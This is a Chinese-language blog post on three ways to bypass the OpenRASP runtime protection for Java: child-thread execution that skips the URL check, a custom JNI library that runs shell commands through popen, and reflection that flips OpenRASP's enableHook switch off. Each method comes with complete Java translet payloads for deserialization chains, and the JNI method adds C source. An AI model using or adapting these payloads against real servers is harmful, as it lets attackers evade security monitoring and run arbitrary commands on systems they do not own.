OpenRasp bypass
环境搭建
https://github.com/baidu/openrasp/releases 中下载最新版压缩包,起一个简单的SpringBoot项目后讲rasp/rasp.jar添加至JVM选项中启动即可


子线程绕过
rasp的工作原理是hook函数,常见的命令执行如Runtime.getRuntime.exec(command) , ProcessBuilder.start(),Runtime.getRuntime.exec()的底层逻辑是ProcessBuilder.start(),而ProcessBuilder.start()中执行命令调用的是ProcessImpl.start(),故openrasp选择hook ProcessImpl.start()
ProcessImpl.start()更底层调用的是UNIXProcess

故openrasp也hook了UNIXProcess。
方法为com.baidu.openrasp.hook.system.ProcessBuilderHook#hookMethod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException { if (ctClass.getName().contains("ProcessImpl")) { if (OSUtil.isWindows()) { String src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2", new Class[]{String[].class, String.class}); this.insertBefore(ctClass, "<init>", (String)null, src); } else if (ModuleLoader.isModularityJdk()) { String src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class}); this.insertBefore(ctClass, "<init>", (String)null, src); } } else if (ctClass.getName().contains("UNIXProcess")) { String src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class}); this.insertBefore(ctClass, "<init>", (String)null, src); }
}
|
official.js为openrasp的规则配置文件,对于命令注入/命令执行
1 2 3 4 5 6 7 8 9 10
|
if (! context.url) { return clean }
if (algorithmConfig.command_userinput.action != 'ignore') { ...... }
|
这里在检测前先对context.url进行了判断,只要context.url为null就可以直接放行。
使用场景之一是,利用反序列化漏洞创建一个子线程进行命令执行
以TemplatesImpl为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class BypassRasp extends AbstractTranslet implements Runnable{ public BypassRasp(){ new Thread(this).start(); }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { }
@Override public void run() { try { Runtime.getRuntime().exec(new String[]{"open","-a","Calculator"}); }catch (IOException e){} } }
|


在更严格的企业级rasp肯定已经被修了,而且rasp通常带有对反序列化链子危险类的检测,所以相对鸡肋。
JNI绕过
参考 http://www.bmth666.cn/2022/11/02/RASP%E7%BB%95%E8%BF%87%E5%88%9D%E6%8E%A2/index.html
但是上文是针对tomcat环境的,不够通用,经过调试,发现是可以和java反序列化漏洞配合使用的
rasp对java底层的命令执行函数进行了hook,可以找更底层的,即C代码,可以通过加载DLL/so/dylink来自定义一个命令执行函数,绕过rasp的hook,比较像Mysql的UDF提权。
JVM在加载native库 (如DLL/so/dylib) 时,不会读取Java源码/class文件来查找方法对应关系,而是根据Java方法的全限定信息,拼出一个标准的C函数名,然后在动态库中查找该符号。若找不到,则会抛出UnsatisfieldLinkError: ...异常。
对于一个Java native方法,如 public native void exec(String command)
对应的C函数名的格式应该如 Java_类名_方法名
BypassRasp2.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public class BypassRasp2 extends AbstractTranslet{ public BypassRasp2(){ }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { }
static { System.load("/tmp/libexec.dylib"); exec("open -a Calculator"); }
public static native String exec(String cmd); }
|
对应的.c代码,对应的函数名为Java_BypassRasp2_exec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #include <jni.h> #include <stdio.h> #include <stdlib.h> #include <string.h>
JNIEXPORT jstring JNICALL Java_BypassRasp2_exec(JNIEnv *env, jobject obj, jstring cmd) { const char *command = (*env)->GetStringUTFChars(env, cmd, NULL); if (!command) { return NULL; }
FILE *fp = popen(command, "r"); if (!fp) { (*env)->ReleaseStringUTFChars(env, cmd, command); return NULL; }
char buffer[1024]; char result[8192] = {0};
while (fgets(buffer, sizeof(buffer), fp) != NULL) { size_t current_len = strlen(result); size_t remaining = sizeof(result) - current_len - 1; if (remaining > 0) { strncat(result, buffer, remaining); } }
pclose(fp); (*env)->ReleaseStringUTFChars(env, cmd, command);
return (*env)->NewStringUTF(env, result); }
|
将.c编译成目标系统对应架构的动态链接库文件即可。

利用的前提条件是绕过了rasp对反序列化漏洞的检测并且可以上传动态链接库文件至目标服务器中。
反射关闭hook绕过
以命令执行为例,在hook危险函数前,openrasp走到com.baidu.openrasp.HookHandler#doRealCheckWithoutRequest方法,首先会进行if判断


enableHook为static final修饰,正常反射无法修改其值,但是可以反射调用AtomicBoolean类中的set方法修改

BypassRasp3.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.concurrent.atomic.AtomicBoolean;
public class BypassRasp3 extends AbstractTranslet{ public BypassRasp3(){ }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { }
static { try { Class clazz = Class.forName("com.baidu.openrasp.HookHandler"); Field used = clazz.getDeclaredField("enableHook"); used.setAccessible(true); Object enableHook = used.get(null); Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class); setMethod.invoke(enableHook,false); } catch (Exception e) { throw new RuntimeException(e); }
} }
|
关闭hook开关之后可以执行任意命令

除enableHook外,还可利用disableHooks参数


与enableHook同理
https://packages.baidu.com/app/openrasp/release/
https://github.com/baidu/openrasp/releases
https://kagty1.github.io/2025/08/07/RASP/
https://g1asssy.com/2023/06/11/rasp_tricks/?ref=deep-kondah.com